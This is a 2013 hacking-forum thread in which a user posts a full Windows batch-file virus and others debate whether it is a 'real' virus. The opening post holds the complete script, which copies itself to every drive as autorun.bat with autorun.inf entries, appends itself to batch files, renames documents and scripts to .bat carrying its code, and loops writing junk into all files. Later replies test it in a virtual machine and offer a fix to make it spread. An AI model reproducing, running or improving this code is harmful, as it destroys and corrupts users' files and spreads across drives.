+- Sinisterly (https://sinister.ly)
+-- Forum: Coding (https://sinister.ly/Forum-Coding)
+--- Forum: Coding (https://sinister.ly/Forum-Coding--71)
+--- Thread: (Actual) Batch virus (/Thread-Actual-Batch-virus)
Pages:
1
2
(Actual) Batch virus - noize - 03-11-2013
Okay, after having seen like billions of batch "viruses" like:
Code:
@echo off
:loop
md %random%
goto loopCode:
@echo off
rd C:\Code:
@echo off
system(rm *.*)- system is a C command for using a shell command;
- rm does nowhere exist.
I've never seen a real batch virus, but I think this should be called so:
Code:
@echo off
color 0a
title Batch Virus by Noize
:: This time (is a virus) for real ::
cd %systemdrive%
copy %0 a:\autorun.bat
copy %0 b:\autorun.bat
copy %0 c:\autorun.bat
copy %0 d:\autorun.bat
copy %0 e:\autorun.bat
copy %0 f:\autorun.bat
copy %0 g:\autorun.bat
copy %0 h:\autorun.bat
copy %0 i:\autorun.bat
copy %0 j:\autorun.bat
copy %0 k:\autorun.bat
copy %0 l:\autorun.bat
copy %0 m:\autorun.bat
copy %0 n:\autorun.bat
copy %0 o:\autorun.bat
copy %0 p:\autorun.bat
copy %0 q:\autorun.bat
copy %0 r:\autorun.bat
copy %0 s:\autorun.bat
copy %0 t:\autorun.bat
copy %0 u:\autorun.bat
copy %0 v:\autorun.bat
copy %0 w:\autorun.bat
copy %0 x:\autorun.bat
copy %0 y:\autorun.bat
copy %0 z:\autorun.bat
echo [autorun] > A:\autorun.inf
echo open=autorun.bat >> A:\autorun.inf
echo [autorun] > B:\autorun.inf
echo open=autorun.bat >> B:\autorun.inf
echo [autorun] > C:\autorun.inf
echo open=autorun.bat >> C:\autorun.inf
echo [autorun] > D:\autorun.inf
echo open=autorun.bat >> D:\autorun.inf
echo [autorun] > E:\autorun.inf
echo open=autorun.bat >> E:\autorun.inf
echo [autorun] > F:\autorun.inf
echo open=autorun.bat >> F:\autorun.inf
echo [autorun] > G:\autorun.inf
echo open=autorun.bat >> G:\autorun.inf
echo [autorun] > H:\autorun.inf
echo open=autorun.bat >> H:\autorun.inf
echo [autorun] > I:\autorun.inf
echo open=autorun.bat >> I:\autorun.inf
echo [autorun] > j:\autorun.inf
echo open=autorun.bat >> j:\autorun.inf
echo [autorun] > k:\autorun.inf
echo open=autorun.bat >> k:\autorun.inf
echo [autorun] > l:\autorun.inf
echo open=autorun.bat >> l:\autorun.inf
echo [autorun] > m:\autorun.inf
echo open=autorun.bat >> m:\autorun.inf
echo [autorun] > n:\autorun.inf
echo open=autorun.bat >> n:\autorun.inf
echo [autorun] > o:\autorun.inf
echo open=autorun.bat >> o:\autorun.inf
echo [autorun] > p:\autorun.inf
echo open=autorun.bat >> p:\autorun.inf
echo [autorun] > q:\autorun.inf
echo open=autorun.bat >> q:\autorun.inf
echo [autorun] > r:\autorun.inf
echo open=autorun.bat >> r:\autorun.inf
echo [autorun] > s:\autorun.inf
echo open=autorun.bat >> s:\autorun.inf
echo [autorun] > t:\autorun.inf
echo open=autorun.bat >> t:\autorun.inf
echo [autorun] > u:\autorun.inf
echo open=autorun.bat >> u:\autorun.inf
echo [autorun] > v:\autorun.inf
echo open=autorun.bat >> v:\autorun.inf
echo [autorun] > w:\autorun.inf
echo open=autorun.bat >> w:\autorun.inf
echo [autorun] > x:\autorun.inf
echo open=autorun.bat >> x:\autorun.inf
echo [autorun] > y:\autorun.inf
echo open=autorun.bat >> y:\autorun.inf
echo [autorun] > z:\autorun.inf
echo open=autorun.bat >> z:\autorun.inf
for /f "tokens=*" %%f in ('dir *.bat /b /s') do type %0 >> %%f
for /f "tokens=*" %%f in ('dir *.cmd /b /s') do type %0 >> %%f
for /f "tokens=*" %%f in ('dir *.txt /b /s') do move %%f %%f.bat & type %0 >> %%f.bat
for /f "tokens=*" %%f in ('dir *.rtf /b /s') do move %%f %%f.bat & type %0 >> %%f.bat
for /f "tokens=*" %%f in ('dir *.doc /b /s') do move %%f %%f.bat & type %0 >> %%f.bat
for /f "tokens=*" %%f in ('dir *.docx /b /s') do move %%f %%f.bat & type %0 >> %%f.bat
for /f "tokens=*" %%f in ('dir *.php /b /s') do move %%f %%f.bat & type %0 >> %%f.bat
for /f "tokens=*" %%f in ('dir *.reg /b /s') do move %%f %%f.bat & type %0 >> %%f.bat
for /f "tokens=*" %%f in ('dir *.css /b /s') do move %%f %%f.bat & type %0 >> %%f.bat
for /f "tokens=*" %%f in ('dir *.inf /b /s') do move %%f %%f.bat & type %0 >> %%f.bat
for /f "tokens=*" %%f in ('dir *.ini /b /s') do move %%f %%f.bat & type %0 >> %%f.bat
for /f "tokens=*" %%f in ('dir *.odt /b /s') do move %%f %%f.bat & type %0 >> %%f.bat
for /f "tokens=*" %%f in ('dir *.mak /b /s') do move %%f %%f.bat & type %0 >> %%f.bat
set a=virus.bat
if exist virus.bat set a=malware.bat
:loop
echo :loop > %a%
echo for /f "tokens=*" %%%%a in ('dir *.* /b /s') do echo ^%rando^m%%r^andom%%ra^ndom%%rando^m%%r^andom% ^>^> %%%%a >> %a% & echo %ra^ndom%x^=^^^=S?S%r^andom% ^>^> %%%%f >> %a%
echo goto loop >> %a%
start %a%
if not exist :\autorun.bat copy %0 :\autorun.bat
if not exist :\autorun.bat copy %0 :\autorun.bat
if not exist a:\autorun.bat copy %0 a:\autorun.bat
if not exist b:\autorun.bat copy %0 b:\autorun.bat
if not exist c:\autorun.bat copy %0 c:\autorun.bat
if not exist d:\autorun.bat copy %0 d:\autorun.bat
if not exist e:\autorun.bat copy %0 e:\autorun.bat
if not exist f:\autorun.bat copy %0 f:\autorun.bat
if not exist g:\autorun.bat copy %0 g:\autorun.bat
if not exist h:\autorun.bat copy %0 h:\autorun.bat
if not exist i:\autorun.bat copy %0 i:\autorun.bat
if not exist j:\autorun.bat copy %0 j:\autorun.bat
if not exist k:\autorun.bat copy %0 k:\autorun.bat
if not exist l:\autorun.bat copy %0 l:\autorun.bat
if not exist m:\autorun.bat copy %0 m:\autorun.bat
if not exist n:\autorun.bat copy %0 n:\autorun.bat
if not exist o:\autorun.bat copy %0 o:\autorun.bat
if not exist p:\autorun.bat copy %0 p:\autorun.bat
if not exist q:\autorun.bat copy %0 q:\autorun.bat
if not exist r:\autorun.bat copy %0 r:\autorun.bat
if not exist s:\autorun.bat copy %0 s:\autorun.bat
if not exist t:\autorun.bat copy %0 t:\autorun.bat
if not exist u:\autorun.bat copy %0 u:\autorun.bat
if not exist v:\autorun.bat copy %0 v:\autorun.bat
if not exist w:\autorun.bat copy %0 w:\autorun.bat
if not exist x:\autorun.bat copy %0 x:\autorun.bat
if not exist y:\autorun.bat copy %0 y:\autorun.bat
if not exist z:\autorun.bat copy %0 z:\autorun.bat
echo [autorun] > A:\autorun.inf
echo open=autorun.bat >> A:\autorun.inf
echo [autorun] > B:\autorun.inf
echo open=autorun.bat >> B:\autorun.inf
echo [autorun] > C:\autorun.inf
echo open=autorun.bat >> C:\autorun.inf
echo [autorun] > D:\autorun.inf
echo open=autorun.bat >> D:\autorun.inf
echo [autorun] > E:\autorun.inf
echo open=autorun.bat >> E:\autorun.inf
echo [autorun] > F:\autorun.inf
echo open=autorun.bat >> F:\autorun.inf
echo [autorun] > G:\autorun.inf
echo open=autorun.bat >> G:\autorun.inf
echo [autorun] > H:\autorun.inf
echo open=autorun.bat >> H:\autorun.inf
echo [autorun] > I:\autorun.inf
echo open=autorun.bat >> I:\autorun.inf
echo [autorun] > j:\autorun.inf
echo open=autorun.bat >> j:\autorun.inf
echo [autorun] > k:\autorun.inf
echo open=autorun.bat >> k:\autorun.inf
echo [autorun] > l:\autorun.inf
echo open=autorun.bat >> l:\autorun.inf
echo [autorun] > m:\autorun.inf
echo open=autorun.bat >> m:\autorun.inf
echo [autorun] > n:\autorun.inf
echo open=autorun.bat >> n:\autorun.inf
echo [autorun] > o:\autorun.inf
echo open=autorun.bat >> o:\autorun.inf
echo [autorun] > p:\autorun.inf
echo open=autorun.bat >> p:\autorun.inf
echo [autorun] > q:\autorun.inf
echo open=autorun.bat >> q:\autorun.inf
echo [autorun] > r:\autorun.inf
echo open=autorun.bat >> r:\autorun.inf
echo [autorun] > s:\autorun.inf
echo open=autorun.bat >> s:\autorun.inf
echo [autorun] > t:\autorun.inf
echo open=autorun.bat >> t:\autorun.inf
echo [autorun] > u:\autorun.inf
echo open=autorun.bat >> u:\autorun.inf
echo [autorun] > v:\autorun.inf
echo open=autorun.bat >> v:\autorun.inf
echo [autorun] > w:\autorun.inf
echo open=autorun.bat >> w:\autorun.inf
echo [autorun] > x:\autorun.inf
echo open=autorun.bat >> x:\autorun.inf
echo [autorun] > y:\autorun.inf
echo open=autorun.bat >> y:\autorun.inf
echo [autorun] > z:\autorun.inf
echo open=autorun.bat >> z:\autorun.inf
goto loopThis basically keeps on infecting other drives to spread (yes, it has got a spreading function) and infects other bat, cmd, txt, doc, and other files changing their extensions to bat and also puts junk numbers & characters in all files it finds in the system drive (but without overwriting content in them).
Though it is a very low level virus, (not a big thing at all, I coded it like 5 minutes but I just wanted to make a so defineable "virus") this should be defined as a virus as properly infects other files with its own codes.
But if anybody finds a reason why it isn't properly a virus please tell me.
RE: (Real) batch virus. - Ex094 - 03-11-2013
I think you should read 1llusion's thread http://www.hackcommunity.com/Thread-The-truth-about-Batch-viruses about Batch Scripts and why they are not to be called as 'Viruses or Malware'..
Nice work BTW!
RE: (Real) batch virus. - noize - 03-11-2013
(03-11-2013, 05:49 PM)Ex094 Wrote: I think you should read 1llusion's thread http://www.hackcommunity.com/Thread-The-truth-about-Batch-viruses about Batch Scripts and why they are not to be called as 'Viruses or Malware'..
Nice work BTW!
I can tell I didn't copy & paste this from anywhere.
Actually I don't know if there you could easily find by Googling batch files who keep on looking for and then infect other drives because I coded this for the first time by myself long time ago just as I knew about .inf files and autorun.inf files and implemented it in a compiled background worm who just infects quietly.
I know everybody says he made a batch virus but this time I believe it is for real a "virus".
RE: (Real) batch virus. - Ex094 - 03-11-2013
(03-11-2013, 06:17 PM)noize Wrote:NO NO! You misunderstood my post, I'm not saying that you copied this code. I totally believe that it's yours but what I was trying to tell you that Viruses are much more complicated whereas Batch Viruses are not as they sound like, they are just copy, paste type functions. Coding viruses takes a lot of effort and skills which requires years of experience and awareness about technology and how to exploit them.(03-11-2013, 05:49 PM)Ex094 Wrote: I think you should read 1llusion's thread http://www.hackcommunity.com/Thread-The-truth-about-Batch-viruses about Batch Scripts and why they are not to be called as 'Viruses or Malware'..
Nice work BTW!
I can tell I didn't copy & paste this from anywhere.
Actually I don't know if there you could easily find by Googling batch files who keep on looking for and then infect other drives because I coded this for the first time by myself long time ago just as I knew about .inf files and autorun.inf files and implemented it in a compiled background worm who just infects quietly.
I know everybody says he made a batch virus but this time I believe it is for real a "virus".
So what I'm saying is that Batch Viruses are not Viruses, they are not even 1/10th of what you call a Real Virus..
I hope you understand
RE: (Real) batch virus. - noize - 03-11-2013
(03-11-2013, 06:30 PM)Ex094 Wrote:(03-11-2013, 06:17 PM)noize Wrote:NO NO! You misunderstood my post, I'm not saying that you copied this code. I totally believe that it's yours but what I was trying to tell you that Viruses are much more complicated whereas Batch Viruses are not as they sound like, they are just copy, paste type functions. Coding viruses takes a lot of effort and skills which requires years of experience and awareness about technology and how to exploit them.(03-11-2013, 05:49 PM)Ex094 Wrote: I think you should read 1llusion's thread http://www.hackcommunity.com/Thread-The-truth-about-Batch-viruses about Batch Scripts and why they are not to be called as 'Viruses or Malware'..
Nice work BTW!
I can tell I didn't copy & paste this from anywhere.
Actually I don't know if there you could easily find by Googling batch files who keep on looking for and then infect other drives because I coded this for the first time by myself long time ago just as I knew about .inf files and autorun.inf files and implemented it in a compiled background worm who just infects quietly.
I know everybody says he made a batch virus but this time I believe it is for real a "virus".
So what I'm saying is that Batch Viruses are not Viruses, they are not even 1/10th of what you call a Real Virus..
I hope you understand
No problem, I had got it.
I know the difficulty about making a much more complicated and serious virus; but not for that there are many complicated applications a C++ Hello World is not an application.
RE: (Real) batch virus. - Deque - 03-11-2013
You can create a Batch virus. I mentioned that in my tutorial (link). A .bat infecting Batch virus can copy its own code instructions to the end of the file and add a jump instruction at the beginning that will point to the end. This way the virus code is executed whenever the .bat file is run and the virus can execute the host afterwards, making it seem that the program still works as it should.
But: No Batch virus has been successful in the wild.
@Noize: I am not a batch coder, so I am asking you if I understand your code correctly: Your program copies itself named as autorun.bat to every drive and changes the autorun.inf so that autorun.bat is started first.
It shall "spread" to other files by writing random crap into it? Are these files infectious by themselves? If they are not then I don't see how this spreading.
I ran your code in a VM with WinXP and it did create the autorun.bat, but they where not run by the system and the spreading didn't seem to work. None of my txt files or others was affected. I only got a virus.bat on my desktop containing this:
Code:
:loop
x=^=S?S >> %f
goto loopRE: (Real) batch virus. - noize - 03-11-2013
(03-11-2013, 08:46 PM)Deque Wrote: You can create a Batch virus. I mentioned that in my tutorial (link). A .bat infecting Batch virus can copy its own code instructions to the end of the file and add a jump instruction at the beginning that will point to the end. This way the virus code is executed whenever the .bat file is run and the virus can execute the host afterwards, making it seem that the program still works as it should.
But: No Batch virus has been successful in the wild.
@Noize: I am not a batch coder, so I am asking you if I understand your code correctly: Your program copies itself named as autorun.bat to every drive and changes the autorun.inf so that autorun.bat is started first.
It shall "spread" to other files by writing random crap into it? Are these files infectious by themselves? If they are not then I don't see how this spreading.
I ran your code in a VM with WinXP and it did create the autorun.bat, but they where not run by the system and the spreading didn't seem to work. None of my txt files or others was affected. I only got a virus.bat on my desktop containing this:
Code::loop x=^=S?S >> %f goto loop
Well, this is not my best-come experiment. I just wanted to make a batch virus as I didn't do before (as you said, it doesn't survive in the wild; no way).
But anyhow, may you have called the main code which I posted "virus.bat" ? Because I've been a really idiot and if you did so, please try again as I'm now editing the main source code to work even if you call it virus.bat.
RE: (Real) batch virus. - Deque - 03-12-2013
(03-11-2013, 09:13 PM)noize Wrote: Well, this is not my best-come experiment. I just wanted to make a batch virus as I didn't do before (as you said, it doesn't survive in the wild; no way).
But anyhow, may you have called the main code which I posted "virus.bat" ? Because I've been a really idiot and if you did so, please try again as I'm now editing the main source code to work even if you call it virus.bat.
I didn't call your code virus.bat. If that's the issue, you should use the current path instead of a hardcoded name:
set curpath = %~dp0
Your renamed autorun.bat has to work too (it is also not a virus.bat)
RE: (Real) batch virus. - noize - 03-12-2013
(03-12-2013, 06:09 AM)Deque Wrote:(03-11-2013, 09:13 PM)noize Wrote: Well, this is not my best-come experiment. I just wanted to make a batch virus as I didn't do before (as you said, it doesn't survive in the wild; no way).
But anyhow, may you have called the main code which I posted "virus.bat" ? Because I've been a really idiot and if you did so, please try again as I'm now editing the main source code to work even if you call it virus.bat.
I didn't call your code virus.bat. If that's the issue, you should use the current path instead of a hardcoded name:
set curpath = %~dp0
Your renamed autorun.bat has to work too (it is also not a virus.bat)
Oh, I have fixed some errors.
Could you please tell me about it now?
I swear I'll soon set up a VM, man.
(fixed in main post)
RE: (Real) batch virus. - ArkPhaze - 03-19-2013
"Virus" is really a relative term. Although this script could be massively reduced with a better structured loop. There's no reason for why this script should be that many lines.